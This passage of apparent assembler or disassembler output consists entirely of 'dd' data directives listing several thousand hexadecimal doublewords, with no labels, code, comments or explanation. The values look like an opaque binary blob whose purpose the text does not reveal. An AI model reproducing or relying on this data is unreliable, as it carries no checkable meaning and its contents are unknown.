0ED520611h, 8624127h dd 209DBF30h, 3194802h, 0BEF9EA35h, 1900CAFEh, 245D9B32h dd 70F3B4E8h, 0C2771E34h, 0F5E780C4h, 51C6CE75h, 4A788460h dd 2C52DEh, 0CA145B48h, 0C7861922h, 59D9E461h, 6BE8D909h dd 2E8501B4h, 2AF73E8h, 0B55E30BEh, 0BBC65F00h, 0C88E4C87h dd 79323049h, 0D9FBA3D1h, 82E8A176h, 3F74E19h, 21802A08h dd 0E3D9F438h, 0C734653Bh, 0D4C09129h, 7EBF2D2h, 11AFBBB5h dd 0BE10B0AAh, 700E75Fh, 40A7E5D6h, 283DC4DAh, 0A8E3ABh dd 940BFE21h, 6077BD0Fh, 4EA06C00h, 0A20223E9h, 0AFF008Eh dd 456BE7CDh, 7F00A3FEh, 0FAF94031h, 0A05330h, 0FD0D7C8Bh dd 17CCA733h, 7376505Ch, 0F6E8017Ah, 7F8E8D00h, 53A004CBh dd 0E09D006Eh, 0DA204C3Bh, 2505A6B2h, 2675E58Ch, 0F400042Dh dd 18B97730h, 18760A80h, 483C3D85h, 0E93283D3h, 304A591Fh dd 0CA21C508h, 17004865h, 73AC2997h, 8023F7h, 263C96A8h dd 7E138AD6h, 1CCC934Ch, 0F5006D25h, 7CB1E52Ah, 0E98C000Ch dd 533BD680h, 0D4335CB6h, 0EBA158D9h, 88FEA30Bh, 1374A03h dd 870C79F4h, 0F8BD40FAh, 0FB00B6E0h, 9A76FEFDh, 5365958Fh dd 8684205Dh, 0E2C067EFh, 0A061BD2h, 6B2D3AD9h, 712C8084h dd 0C1A1C5B5h, 0EA09AA0Ch, 0C18D08CCh, 0B5C8A921h, 0B7608C8Eh dd 188F80F9h, 0D0D64D9Ah, 100C25A3h, 11C4C182h, 0EBCF3054h dd 192D4028h, 6848D960h, 0C6D0DAh, 1E0FE4A5h, 0B6B0D7DDh dd 5F00D37Fh, 3906BDD6h, 517FAA1Fh, 0AE0B4F5h, 886860AEh dd 6A9C4715h, 21C59015h, 7A6015C4h, 0D28400E4h, 56925BD9h dd 0FA577FDAh, 363306CDh, 0ACECBB03h, 8C6CD83Fh, 410BA114h dd 25F72006h, 18377518h, 0E3958A9h, 1611834Eh, 6AB59A40h dd 641EDE9Fh, 0C9C08AEBh, 0A013D1D2h, 6E49C0BFh, 82FA5C81h dd 90703Ah, 9CF69155h, 7F87DACh, 95B65821h, 107B96B5h dd 0E2249B00h, 0B8669861h, 3BD92B02h, 0B58001C8h, 0E49A1C6h dd 0B577CE00h, 2DD3A4Dh, 10D0F440h, 42D7992h, 0BC772F5Fh dd 3C386898h, 5AA36648h, 0CB008A11h, 8BDD4840h, 694892F3h dd 46B31D5Ch, 26ADAA45h, 586C60C0h, 97811878h, 445B896Ah dd 5ADE8200h, 0D28AE753h, 0D9F7017Dh, 36FC57BCh, 30D60273h dd 0D079483Eh, 0B1224A46h, 4866A51Fh, 0E89641C0h, 0F78171C3h dd 0D1D33857h, 0E87C9F61h, 435412A1h, 92784125h, 0F07B572Dh dd 8A498C37h, 2B6F000Ch, 54D167E0h, 0F6506B9h, 40C28192h dd 0F2BC0652h, 0E7FD3093h, 80C3683Bh, 2A13057Eh, 8476A3h dd 0A6880D90h, 0C4C21F7h, 0A4C09F28h, 0B897F082h, 67E62588h dd 0BEE5F0E2h, 6105EDD8h, 55377C3Ch, 0A8676C40h, 39B46EBCh dd 0B2831847h, 0DA0AEEA3h, 36E93ADBh, 0B8C042CDh, 79483430h dd 223A46D2h, 3CC700B2h, 57F71348h, 64002D3Dh, 2AA4352Bh dd 3183AFBh, 0ACE490BBh, 0E848C660h, 7C3239Ch, 95654833h dd 0CC302862h, 0EE483B1Dh, 4C8D8082h, 0F2F3E065h, 8EFB000Ah dd 9A90B81Ch, 51145C9Dh, 0B8302202h, 0A3008CC5h, 3D317A2Dh dd 7DD13C43h, 820F0A14h, 0FC0B59h, 24811587h, 27F254DBh dd 90BD3304h, 0CC8B514h, 92FB3052h, 0AC9D96F1h, 26DC7948h dd 0A5087446h, 0F65B42BDh, 88B75700h, 0E3D23E2Fh, 5D31A8B0h dd 5803CE4Fh, 1192A97Bh, 69F4AFD9h, 87DF0491h, 7C604BC6h dd 62020C79h, 0DC610CE4h, 20147A30h, 6E41920Dh, 0AE0418BCh dd 31708C75h, 2AF8CA05h, 3094D011h, 27B59C82h, 0EE7B41B0h dd 79BF07h, 96314AAAh, 328A796Ch, 2085C8Fh, 0CECC8468h dd 0AF14A0Fh, 60DFC06Eh, 29BC809Ch, 3C49F13h, 0A3351106h dd 40FD83A9h, 3E256480h, 954C6E50h, 804BBF00h, 0D9BCB90Fh dd 8C966F7h, 0FD217Bh, 5213E46Eh, 60C80A6h, 23890E0Fh dd 0D48A300h, 1B52C905h, 0A86A4896h, 0A0AD1474h, 3902B076h dd 0BB712AF6h, 620B7C81h, 8C95086Ah, 3F4AD404h, 0FA615C96h dd 58E6008Bh, 90DA6B4Bh, 8CC41013h, 0E800C3E4h, 0B4AD9E6Ah dd 0D228FCh, 0AED052C8h, 0B8AA0CE9h, 0A4C5D37Bh, 3C207C68h dd 14344A65h, 0B82D1496h, 4ACDD3B0h, 7A56F000h, 0CF6F2BC5h dd 0E3CE24DCh, 0E85960B4h, 0E9248F94h, 2BC3904Bh, 0D7A3FBh dd 0DFBBE4A0h, 5C1BC5E0h, 4D820D0Ah, 1E248C01h, 7111EF0Ch dd 0D7E43BCAh, 80A9EE80h, 1736EA8Ah, 0B599E802h, 42FF8408h dd 0E41C45ECh, 0C94160BEh, 5F03C16h, 41660392h, 0EBC87EE8h dd 9645EC1Fh, 0D1AE5600h, 5D636738h, 0AC49088h, 0B08B2FD9h dd 0CB215E9Ch, 0A93C8168h, 0C012E0BFh, 0DD0041D9h, 0B4640222h dd 0BED6DE9h, 83D0FC93h, 63DBCC01h, 0FEC7F09Ah, 0CCCB3F26h dd 0E5942174h, 8095498Bh, 0DE0AB655h, 1E36261Ah, 1732B3DCh dd 0D4C03BEBh, 1580C61h, 0C0688834h, 0A1BFB583h, 80347152h dd 7B57AABh, 0D728005Dh, 0C2B67884h, 8C008BC5h, 0FF1B0967h dd 65D14B77h, 0C2C96008h, 97200B64h, 0A086ACADh, 11E6D7E4h dd 0CB513h, 223FF8EBh, 642A10DCh, 0C884A10Dh, 3D00797Ch dd 989CC67Ah, 4040AD90h, 76054480h, 8E60C465h, 0C15498D0h dd 0EB3903ECh, 0F84CE012h, 0C100F093h, 4BE75602h, 0C096795Fh dd 321D4530h, 693B93D5h, 785A9C88h, 84E62200h, 0C1D8CC89h dd 0A03CA380h, 0F578300Eh, 6C04C0Eh, 2ED91910h, 0DE002429h dd 5394686Bh, 0F600F7B7h, 6D2498C0h, 0C60417h, 1DDEE82Dh dd 0A97F971Ch, 2FDA0C0Ah, 8020DF70h, 9D403C17h, 43F5D800h dd 41CCCAAh, 68AE5B39h, 0E204B22Fh, 0F36B30AFh, 0C8D1BD05h dd 90408D60h, 0DAE3983h, 3AD001A3h, 0FCFE61BEh, 3048ED09h dd 925C0B68h, 2D901BACh, 94CBB8E1h, 0A81A1FE7h, 8F3687F1h dd 6FF8105Fh, 2D0142D7h, 1ABA8B04h, 0C4486E3Ch, 717D07F3h dd 0E19BBCF8h, 70C738CAh, 112629F4h, 8340AC84h, 30538887h dd 66987FABh, 9D2A9034h, 109C455h, 8FD4D613h, 89049324h dd 5C820D29h, 0B585303Eh, 0E1A18908h, 409164ABh, 0CDB57C5Dh dd 1F9400B3h, 603CA169h, 0E8A4FDF4h, 3A9F40A8h, 0EACCAA50h dd 0F1BB6202h, 4412E906h, 600D1360h, 3F7C00A4h, 0EBFF092Ah dd 37254A06h, 12F99059h, 0C4586210h, 0E44C0A8h, 0B0092CBh dd 814A8E70h, 55F963Dh, 4620D01h, 0A14045Dh, 14EF06C4h dd 393A0071h, 9024D789h, 4700EC02h, 0FA7EE416h, 1CEAC992h dd 0C40D5F95h, 0BBF6C62h, 461084D4h, 179A94A0h, 229510B5h dd 3F30BF88h, 46D17948h, 3BD2242h, 8A486798h, 0D0200E47h dd 0DC690977h, 84000156h, 0FAA3C527h, 0C91E0300h, 209A8195h dd 6D280E6h, 60E5022Ch, 299C08Bh, 0E18738CCh, 0DB00101Ch dd 23ECE0ACh, 0E00D804Ah, 882008DEh, 0C7073E4Fh, 0B8E11680h dd 347DD2AAh, 368BD59h, 6A7E0FDDh, 0ED80C5B3h, 0B8DC880Bh dd 0D158C345h, 7002C754h, 0B38CA11Fh, 574C6008h, 867495Dh dd 8DE87C48h, 3799148Ch dd 281F48Ch, 6FD99Ah, 3C822623h, 30D00189h, 7E048C65h dd 99A1BCB5h, 0E02E8F62h, 657CB595h, 978126D3h, 54A141DCh dd 0FFE63057h, 0CA896F8h, 0EF33238Ch, 8561F0FDh, 0DEB2FCD0h dd 398113D2h, 3FF022C3h, 8B64430h, 0ABE9A18Ah, 6259B86Fh dd 0EEB5007Bh, 0B96ED30Dh, 84F264EAh, 0B653511Ch, 215E5C6Eh dd 13828C02h, 60E30BC7h, 15B6628h, 0B6471425h, 2C992AF5h dd 1C8C0978h, 5C08290h, 0E658409Ch, 3C060159h, 0B1250D7Bh dd 0E302C74h, 0D2830B80h, 1BA57041h, 2860F921h, 0D0BF3EE5h dd 0B10A139Fh, 30702520h, 0B053B829h, 2DAE8420h, 0BDB48264h dd 79483130h, 30525C67h, 48204FE7h, 0B1149044h, 0A76E4712h dd 0BD781041h, 0BAFC30B4h, 8DD9003Bh, 0D397C096h, 6300213Ah dd 52AA220Ah, 346B2B6h, 28906618h, 58037D61h, 0A160BCE5h dd 0A8694157h, 6082040Ah, 0D08008B8h, 4CCA53CBh, 6F2DBC00h dd 0B71DE2F0h, 11770068h, 0E799FF3Dh, 211DB1B5h, 0B404AD5h dd 0F1E5EF2Dh, 0BD3900E3h, 74BEFC1Bh, 3A00DEC1h, 0D6DD5649h dd 0CC600Ah, 281682Ch, 0C8D5B40h, 0A500E6ECh, 0B620D449h dd 153F936h, 97D2D589h, 0D802A93Ah, 0D100B88Fh, 76CEDEA2h dd 0A89FB9h, 0D01EAC03h, 0BC349760h, 1B2E691Dh, 91190800h dd 0F4CF6CADh, 0E6E25Eh, 8070FC5Ch, 0A77DF526h, 87D6223Eh dd 0B8E7FF55h, 173669C0h, 774C2489h, 0C0091C4Ah, 0CA861C52h dd 0C21C21BDh, 6E007A56h, 7725B18Dh, 0F6AE0012h, 2E1A5E42h dd 870050AFh, 9A1E678Fh, 777173Dh, 8DED985Ch, 0B33153A6h dd 0C8230BE8h, 6CAAD818h, 3FD7B70h, 62EB3060h, 4ACA1312h dd 90410142h, 7B0828D7h, 247A9B00h, 6FA13B0Dh, 74C0121h dd 0EAAB5D7Bh, 0EBA050A0h, 0D89874F9h, 624092F3h, 371538D0h dd 324760C3h, 0B05860E6h, 0F3E8200h, 0D74AEF06h, 0BD100F0h dd 521A6263h, 8400FE02h, 5852570h, 3615E2h, 76AAB2CCh dd 1CBCE049h, 58740700h, 8E8B9156h, 0A066548Fh, 124606D7h dd 106A3510h, 9AAC1E00h, 421C33A2h, 0B9795Bh, 0C537A3BEh dd 0CBCD50F4h, 0D7ACE00h, 5CBBE0C6h, 95D0004Bh, 9F1DF7AFh dd 48C0F236h, 0E55B97E7h, 8F0A005Eh, 579A8995h, 3D5C7AC0h dd 0F1607FCCh, 81D19028h, 80E802B0h, 0F63E50C4h, 1497A848h dd 1E879658h, 0F1C06926h, 0B2ADA0A4h, 0B7040028h, 0F0EF569Dh dd 7A7AA724h, 0AFDBF600h, 4FB43219h, 8BEB00B7h, 2D66CD25h dd 860FDEC5h, 0C0F62216h, 0A479F2A8h, 0C97751h, 1CC2F3FAh dd 3992CA5Eh, 6B138707h, 249E4ABh, 827DDA98h, 4079DED8h dd 19370EAh, 0CB8E32BAh, 804E3850h, 519BE2B1h, 0F3014Dh dd 79EF7AC4h, 741CC037h, 15E5F100h, 0F9A7F4Ah, 2D80193h dd 2792B588h, 0CB520AFh, 0C4700D00h, 0D9E9B43Bh, 0D7E73950h dd 5F7D0901h, 24C68555h, 0F601D81Ch, 30594D65h, 2BC4A798h dd 8261015Bh, 0BEC54162h, 0FEC3920h, 809906AEh, 6A8C91B9h dd 0D23507F1h, 10611F3Bh, 4D271033h, 7D2D191Dh, 53D49B80h dd 0F6171EDFh, 3C3FC66h, 4CE86FA2h, 1CA671F8h, 0E6E1A000h dd 0A8F2B75Dh, 72C31DA3h, 595B003Eh, 837FFAFDh, 8868D300h dd 0DD7B9B2Ah, 7DF31FA1h, 7C2E0CC1h, 8E005D10h, 65343103h dd 5F3235h, 87E4336Eh, 833B42CBh, 0DC804600h, 67222FFFh dd 0DFC70059h, 79144BADh, 0C318D657h, 0AAE9E318h, 0D7EE0002h dd 9B25DCE1h, 4B0E0120h, 0E3FA565Bh, 98AA7DFDh, 75DA3DEh dd 67C64F5Eh, 76CC10D8h, 0DB4CE3B5h, 0EEBD0059h, 14862FC3h dd 95E9006Fh, 6CD082A5h, 0ABFAC430h, 1E4ED200h, 0AF190412h dd 0A5AE073Eh, 60764A9Eh, 0C669C265h, 705BA21Dh, 87A44CC0h dd 568DF1h, 621CF3ABh, 1EDB4EEh, 9D07C400h, 92A923AEh dd 0D7671EDAh, 20CD7AC3h, 8B642F01h, 30C2FB02h, 38EA3B82h dd 0C4C91C00h, 6B168090h, 0AE1B00DCh, 33EF0C31h, 0E404775Fh dd 5B63392Bh, 5256F080h, 2FD70F53h, 0D940B883h, 0AA8C4B76h dd 8113600Bh, 0D7AA8066h, 79CEC75h, 89F58F4Fh, 3DBF40EDh dd 2607BBF0h, 4E222BDh, 0A6E199ECh, 80A900B4h, 0C6570121h dd 24006EFAh, 356A9A72h, 705F625h, 437AAAFCh, 0DF4C50C4h dd 0CFE2CB29h, 20D1841Fh, 217E8200h, 1FAAFF6Dh, 0CA5C47CEh dd 6A09149h, 60DEB725h, 0AF1B6D0Bh, 3C60EF6h, 0F03BA945h dd 30CEC950h, 0FA31CB4Fh, 0A7E617E6h, 0A6F10300h, 0BEF9369h dd 10BCA007h, 43D903E0h, 361DD816h, 0F2C94600h, 0A1F7E51Ah dd 789091h, 0F4556DCFh, 0CB3C3A1Bh, 0FAC0ED02h, 41590844h dd 0EBE8BE28h, 562F00DAh, 901A2D45h, 7BF4FAEFh, 0D52B4C00h dd 1E8E62A5h, 0F35400A3h, 9A5D5122h, 4B001938h, 5C25DDC1h dd 0F4A77Ah, 69DBB1BEh, 9B639154h, 0EDC75000h, 0B2A0FF87h dd 23BA07B6h, 70A151AFh, 5B1F5798h, 3A133200h, 0CFA37FBh dd 89A70035h, 0A2770578h, 93F6451Eh, 0F609BC00h, 3AB4CF4Eh dd 75F500C6h, 0E0017859h, 5B00AB07h, 74514424h, 0D38EADh dd 0E4721F43h, 173E55D9h, 6D33AB01h, 11505B67h, 0A209D140h dd 0A32104E2h, 0A0D0069Ah, 0F10926F0h, 8E14403Ch, 851CE7BBh dd 952B404Fh, 390454h, 66791BE5h, 7757EDE2h, 4494AD1Eh dd 9B5DA640h, 2C9F64h, 0D370B1ACh, 80CEDA8Dh, 0DE4FF075h dd 0E8581045h, 0E0756CD3h, 4327A2Ch, 6E79D496h, 9760A0E7h dd 0E510C463h, 3400948Eh, 5466677Ah, 0EFB4BC00h, 4F8CB928h dd 0F90C0080h, 1023E93Eh, 0D6240DB7h, 491D4667h, 8AC01180h dd 0D008CAh, 23941D7Ah, 64DEB9A3h, 0C10E797Dh, 3D8E98B7h dd 10010DC0h, 3D14EF3h, 0F770BCD8h, 90001C49h, 0AA51A326h dd 0F8B8A1BEh, 191B604Eh, 8D8B23EBh, 3632A0C7h, 0E3DE803Eh dd 652BAh, 0A208B08Fh, 0CB0B21FFh, 8C00EBF8h, 1868A8F6h dd 2B8E70h, 6D96D597h, 1F7A38FCh, 0B700417Eh, 64889F76h dd 89186Ah, 0D42BC515h, 0F7332C34h, 611B5100h, 7CBF1D85h dd 6F820077h, 0FE9FF487h, 163C029Dh, 0F123E07h, 0A03211A8h dd 0BDEC4104h, 0D33400D6h, 8B39668Ah, 1600D419h, 5532763Dh dd 2DD57E03h, 309790BFh, 608BFD88h, 1A67817Ah, 0A390822Fh dd 0D99BB2A8h, 3F85124h, 0B8213F6Eh, 8EE9B387h, 87DF901Ch dd 0FE5C138Bh, 48C62694h, 0D2256302h, 1F4D96Dh, 10444B83h dd 25DD1999h, 4BC34F00h, 0C6791D00h, 7AFB5347h, 90B7028Bh dd 8FD4A608h, 0C3FC083h, 5898ADFCh, 46A28BC8h, 354D125Ch dd 70C4C299h, 718D3702h, 792A0414h, 0DCA101C2h, 0DC2CF366h dd 88D4204Ah, 0E575772Fh, 0F87F1003h, 0D0B65321h, 18EE2EECh dd 2FB4098h, 62009372h, 2806BF45h, 373C309h, 0E6A90CF8h dd 0B9C8FCDDh, 34001275h, 4A4FC4CBh, 3F2F3586h, 2103A555h dd 375B3DDDh, 2DC326D8h, 35858200h, 36A06F28h, 1F980619h dd 1894A943h, 0E4032F04h, 18802173h, 603868CCh, 65A21853h dd 41C03724h, 7407BCA0h, 0B633C8Eh, 90CD1E01h, 9CCCC8ACh dd 671B8249h, 14E4C008h, 371F00E5h, 94B10F7Dh, 93005BE8h dd 7B899197h, 0CC9B40Bh, 47508751h, 390006C1h, 8077C7D4h dd 0EDD48h, 2C59CC09h, 91F4D610h, 0EF2DF800h, 0BA4397E7h dd 400437CFh, 0E2F5C0D0h, 0AE0042A8h, 0A6BD651Eh, 5EC9CDh dd 27502BC2h, 0B67D3FD2h, 1CA80E1Fh, 52FA1E83h, 1FACA81Bh dd 2D670C93h, 1A74F8BAh, 0B0853603h, 265B8CFh, 7171661h dd 1CC1127Ah, 26F18272h dd 87861FB6h, 843A5080h, 6DE0C780h, 1729588h, 0C4632EAAh dd 0FC7AF3BEh, 0BD038A18h, 8BD9615Eh, 0C54939C0h, 8065279Eh dd 7BDA76AEh, 37240310h, 511DB0DCh, 5390807Ch, 0F41A23F5h dd 0A424002Bh, 0B112768Dh, 0A60516F1h, 8803D4AFh, 7DE26BC0h dd 99BE006Ch, 46A1CB2Bh, 14009C43h, 7CE7A7ABh, 65BC2h dd 0FD02A53Dh, 9F21898Eh, 9903E6F6h, 88BBE3BAh, 2B08308Ah dd 0C2B04321h, 0FBCE5500h, 0F66A1804h, 253F0FD9h, 31A17DCAh dd 88898FA5h, 67A4B458h, 9917F1A2h, 89161892h, 20C2E83Ch dd 0FAB43900h, 0D35B62Ch, 0D8EB0008h, 4AE6726Ah, 0F33075C4h dd 0FD0160C3h, 56BC0EB4h, 1098830Eh, 0A5B8E9EEh, 45541413h dd 87CD50Ch, 5921C087h, 3265C3E2h, 1300587Eh, 0ABA305B6h dd 271E87h, 0CA3BA1B5h, 0CCBCFF1Ch, 1F48361Fh, 39468F1Ch dd 7901FAh, 4CFE47DDh, 2551436Fh, 0E2098666h, 3FBD0021h dd 0B068BCFEh, 5500725Fh, 0C7834187h, 0CE28307Eh, 77C988F1h dd 14936880h, 0A0A88FFBh, 0DC307B0Eh, 0BCB5E828h, 7B70A46Ch dd 149B1117h, 0B7DE8464h, 0C3304300h, 6400E1B3h, 92F1D23Ah dd 606BED6Ah, 0F68E20AEh, 8F0687D7h, 852BACBAh, 0CF6802F8h dd 0C288F8E5h, 0BDCBC055h, 0EBE600DEh, 0FFBE6F81h, 0FA4A036Bh dd 0A30181FCh, 0E5EE8D9Bh, 0E1D5FDD9h, 21B3E41Dh, 0D0222B00h dd 0AC695ACEh, 0F69500ABh, 0CA3ABB04h, 0B51FEE27h, 0AF00517Eh dd 454A197Ah, 6513016Ah, 0FCE4EA17h, 0AE6FF416h, 19965F01h dd 4F679C15h, 293ECCh, 6C569E3Ch, 5E866F2h, 0B77A1800h dd 8061CDE7h, 0A6FF3CC0h, 0C8AF7400h, 9EC3494h, 191F9003h dd 0F88797ADh, 34D4192h, 89B3C83Dh, 58C86535h, 0DD1FE89Fh dd 87525E16h, 3EA26807h, 0D530A950h, 68070F26h, 0A30C9E63h dd 0B5070148h, 7E6AF91Bh, 0AC6E36B0h, 219461BFh, 0F808EAFBh dd 0F200C9B2h, 3A063399h, 181EA811h, 0DA6FC37Ah, 4B01DAE7h dd 6D4155ABh, 1EF9F39h, 103B1810h, 3059F8CDh, 7E60FB37h dd 144D9319h, 45400C46h, 7BA09873h, 5DEAD2F2h, 290179FAh dd 85F9D004h, 12D8BAFCh, 0B2B30196h, 8E1909DBh, 0F152E84Eh dd 9571C01Ch, 0A2F6DF40h, 396484h, 0AB3EF84Fh, 0C0DD2022h dd 56C21E07h, 92B05FC3h, 3F7F315h, 49E7F18h, 36B8DFF5h dd 1D0F76DBh, 8166DAA4h, 7365C072h, 0FC2D5894h, 10836A3Bh dd 0EEC7E6DCh, 7DE1DBE8h, 0AEDF8000h, 0E9A9190Fh, 0F5B70030h dd 0C04097Ch, 0DB03C11Ch, 240DA59Fh, 1508186Ah, 0D86120A9h dd 33961C00h, 0A448DB11h, 0C0CD01F5h, 0D865C45h, 0BB38EC71h dd 0C603A27Ch, 853D8B09h, 9C280E08h, 0E2C0E1A8h, 0D9A96764h dd 0DD16CC06h, 3200A76h, 92E1C0A7h, 2EE8A574h, 251C14A3h dd 6030D734h, 6670C432h, 61A488DBh, 0AE03D546h, 0B4E206E1h dd 74305840h, 0C6C588h, 660C91E1h, 655A79B9h, 84FE0F28h dd 0AB30D518h, 0E4F0E259h, 60E697h, 819F4F02h, 0B2C6D64Ch dd 914AC001h, 7EBAD83h, 0EE169181h, 0E4B7B475h, 740F6796h dd 806604FCh, 884B02B9h, 0A6A203BAh, 47C75515h, 6EE39BC1h dd 3AA0A6E0h, 7E7B287Ch, 0DAD10066h, 0D8BEEBAFh, 92002B22h dd 0E1BA7BC2h, 0E82176F0h, 0E3600062h, 59F3BFECh, 0B4001F4Dh dd 7E01D0C1h, 76F7353h, 7023AE7Bh, 7D5B1034h, 403470Eh dd 368A55FBh, 4E80FD13h, 0E7D158h, 0D046E3EDh, 9503C8D4h dd 0A87B2B07h, 4B60EAA0h, 0C02DFBA7h, 881BF5E4h, 6B0DBD1h dd 0A10458h, 81436C53h, 0EE4F3342h, 0A5240005h, 0A7DDA471h dd 0E500BC68h, 0AB72C369h, 0E8D93879h, 0BFFD0063h, 591DEC12h dd 0D6009019h, 39B037EDh, 9852A1h, 6CE1D205h, 24364226h dd 0FA6A8A00h, 0A291763Ch, 0E57A17h, 0EF3FFF72h, 19263B41h dd 0AD138400h, 6CB37716h, 4A8D036Ah, 0B29B5A6Eh, 0A1038h dd 0EEF965BBh, 0F4C92F61h, 95F80010h, 589AFB2Eh, 0F300AF99h dd 6753494Fh, 708FF3Fh, 0BE5496CEh, 0C74345F8h, 0C67360F2h dd 860072D2h, 298E1E5Ch, 60E6A4h, 0DD346E61h, 0FA166456h dd 4DC05E1Fh, 88F03581h, 1330D20Fh, 0C25C074Ch, 0EBF26D03h dd 89977580h, 48000D45h, 0B8960554h, 9294BBh, 8F4E7227h dd 9BE4AD4h, 0BD16C106h, 2847FCh, 1D36F192h, 0E691F6B7h dd 23B55900h, 0A9FD1E2Ah, 1C870D2h, 37BF6B33h, 70542258h dd 6E07165Ah, 8A6DD363h, 476138F0h, 0C9CC013Eh, 45934E55h dd 0ED242070h, 1B3728C0h, 0FCDE3FE6h, 163802B5h, 81D66027h dd 0BA68BAE0h, 0F06B4400h, 0C86E2077h, 8D720359h, 0E32C669h dd 0E5BFC388h, 757D0F00h, 0E9D005AAh, 10D90256h, 55303216h dd 0E8171849h, 0E015EC8h, 31657D3Dh, 218F10CEh, 2E40EBBAh dd 29A7D10Dh, 0CAA2FB00h, 316F6CB4h, 5E4C007Ch, 320FA196h dd 5639448Dh, 630500F6h, 5C70D689h, 0EFF6F5h, 3D40818Eh dd 52699F90h, 37620200h, 438347F9h, 1D83B592h, 998038C5h dd 38C03EC9h, 0D7662A6Bh, 0A7160485h, 30A26h, 6FE5B8ABh dd 88290C1Ah, 0FB51458Eh, 8DF3590Fh, 34F56067h, 0ECB3C930h dd 4A85015Ch, 297D895Ah, 402CC2Ah, 0A8372C14h, 0D7F400F8h dd 0FC6EFEA5h, 162D00EAh, 247AF991h, 74071312h, 0EED8B707h dd 46E98800h, 38F57FB1h, 821EAE47h, 0CC070335h, 72F0F2F1h dd 28C7EF88h, 74D0B561h, 719BBBAh, 5C6AB953h, 0C07F2F48h dd 4787B2FDh, 460001A3h, 56127E42h, 79ADA560h, 3095E61Fh dd 5EA03EEAh, 0BC0F817Dh, 80E20765h, 9EB43076h, 36FB04EEh dd 90778456h, 0CCF1E480h, 5188C800h, 8DD7D87Ch, 0A7B50071h dd 1D4E7404h, 0FA005B6Ch, 598AE987h, 262DFD21h, 0BBE11Bh dd 0D5957842h, 2F006A70h, 0A33E346Ch, 308B66h, 1D489DF8h dd 0A745EEA9h, 156FB902h, 60CD187Dh, 13946006h, 4ECC8Ch dd 72BE7E44h, 48903DE8h, 80BB1D26h, 396CAF00h, 18238AF2h dd 21246AB4h, 4DE49AC5h, 0CDD67100h, 1FA20C6Eh, 0F6390099h dd 0AF44FD5Dh, 6B1F726Ah, 30802DEDh, 7138877Fh, 84400323h dd 488C1D79h, 80C884FCh, 16049C14h, 0FA965C00h, 5731987Ch dd 2BFE7Dh, 2364420Eh, 115DAF9Fh, 32C55906h, 0B85798h dd 4D3ED285h, 3D94F193h, 2A0F610Eh, 0E5C96038h, 0D04C71h dd 0BD6BDA2Ch, 0F6B60E1Bh, 8CFA4D00h, 3348C117h, 64F00AE8h dd 8BA0376Eh, 0A68066A7h, 2E2735B4h, 445F2826h, 0AD423001h dd 4C35C776h, 0E7C1D8h, 8F7E0A1Bh, 3B61AA91h, 0A8F6A418h dd 11DD20h, 67F050C2h, 4D0BB766h, 3C6C8A0Bh, 55707Fh, 6D93CF95h dd 7C619E50h, 7D3F6AF4h, 0F7148F8Ch, 0A4CEC1B5h, 2B61B6C6h dd 866BD8h, 1DD0D829h, 7DF8142Bh, 0CB64BE18h, 0E160B8h dd 0FA153185h, 0C124516Ah, 4019178h, 44D747C4h, 60E15AECh dd 1CD93C20h, 7169CB6Ch, 0D1599B20h, 6701C0D8h, 38C06E78h dd 5EE81A19h, 338100FBh, 0D74D7BC9h, 0B500C076h, 37F524A9h dd 50AAE152h, 0F0062C88h, 90176FB2h, 0A6E75918h, 7A675800h dd 0EAAB0588h, 34A5021Ah, 63BF41C8h, 0DB536080h, 0F5165F2Ah dd 7C007908h, 0FF48E31Dh, 7513003Ch, 97C98449h, 1A01A793h dd 7C576165h, 0DE600A81h, 5213013Ah, 9DFC24E9h, 1E4530BFh dd 0EEF8DC00h, 0A0F02C79h, 379A006Ah, 56D34FF5h, 0D700DA9Ch dd 0CC31230Dh, 1EE514h, 0B4865336h, 0BAE7613Ah, 0E2183F03h dd 0F0EBE484h, 1362A7h, 0C4E6248Bh, 0DBB23265h, 0D9C2AA00h dd 2186384Fh dd 8F1B2450h, 4C0F003Bh, 0AAD741A7h, 0DB1CC400h, 0D406C17Dh dd 55E10088h, 45DAFDE8h, 2800C25Bh, 8490C4E4h, 0F4142C15h dd 0D4580026h, 8209ED97h, 57004DB0h, 0DD3BC4C9h, 1555C650h dd 0BC339F65h, 8249BF00h, 67207017h, 0F0C09055h, 0ECE3EEA6h dd 2B052CCDh, 6DCF6C52h, 9D88B840h, 0C0D368ABh, 0CCDC5011h dd 1F0055B7h, 6C230E47h, 663837h, 2BFFAE21h, 123673B4h dd 61CF6F7Bh, 800360CDh, 79F2E657h, 293A063Dh, 205FBE25h dd 30063E3Fh, 2AF911Eh, 3ABA0069h, 6CBFC5A7h, 7228B9B8h dd 86F0647Ch, 5E3BE91Ch, 6A118F9Fh, 0E5986700h, 158028BFh dd 787ADF00h, 6F0E372h, 0C24B02C4h, 3D9C667Ch, 0E47F8891h dd 397C51F2h, 406922h, 0FB3278BEh, 2CE082BDh, 7F70D700h dd 0F8BB1E38h, 3A120020h, 561F3D85h, 0B9C0E8E5h, 0A5E1CD8Eh dd 0D47601DBh, 29B111D6h, 9EE0806Fh, 86E524F2h, 0A6FB0EFh dd 0B3121C59h, 0FDFF0010h, 8970B147h, 69C49D0Ah, 0A481B8D1h dd 2CFA7432h, 1C49FB20h, 0C0950663h, 91B89704h, 1D304FF2h dd 778381Ah, 0CBB4002Ch, 6C46ABDBh, 49C5A8D7h, 7C039765h dd 5EC955h, 6B238319h, 0AFB52B74h, 8087C13Bh, 0FA8E0C44h dd 0B0DA89C7h, 7BE7009Eh, 3557059Ah, 2435B65Bh, 8B014070h dd 9274B518h, 0C4C01ED9h, 8DD80041h, 0F593B389h, 0B50166FFh dd 162DB15h, 1DEC84C5h, 0B5558A6h, 0ECC1E814h, 0B6FC18C0h dd 5E3E3590h, 33885CF4h, 0E8F0A966h, 3B9610h, 0F450E754h dd 901B6A87h, 9D03B2E4h, 681F4174h, 8031005Dh, 0B7D18B6Bh dd 9F503684h, 4D1C16CAh, 9EC0ADABh, 5999630Dh, 0B67512F4h dd 0DF44404Eh, 0C803D068h, 0B5AE490Dh, 16D8195Ah, 0B2CD0E69h dd 0E534CB7Fh, 18B7C801h, 3084D40Eh, 14001C00h, 0A6465C98h dd 0C0353B69h, 59E9D388h, 850073C0h, 8720C477h, 6536D0h dd 5590EF33h, 66763AB5h, 6721B410h, 74681E0Ch, 3B1DB1C9h dd 8C00448Ah, 0FA6C40F6h, 18BA75E8h, 0A14DB547h, 1100D322h dd 771AFD27h, 4E206C2h, 4F574351h, 0B45090E9h, 460308AAh dd 54A00D25h, 8D19261Dh, 36050070h, 2C884DEDh, 66987B09h dd 0B7AC109Dh, 0E549247h, 94F8DA1Eh, 0C0E41ADh, 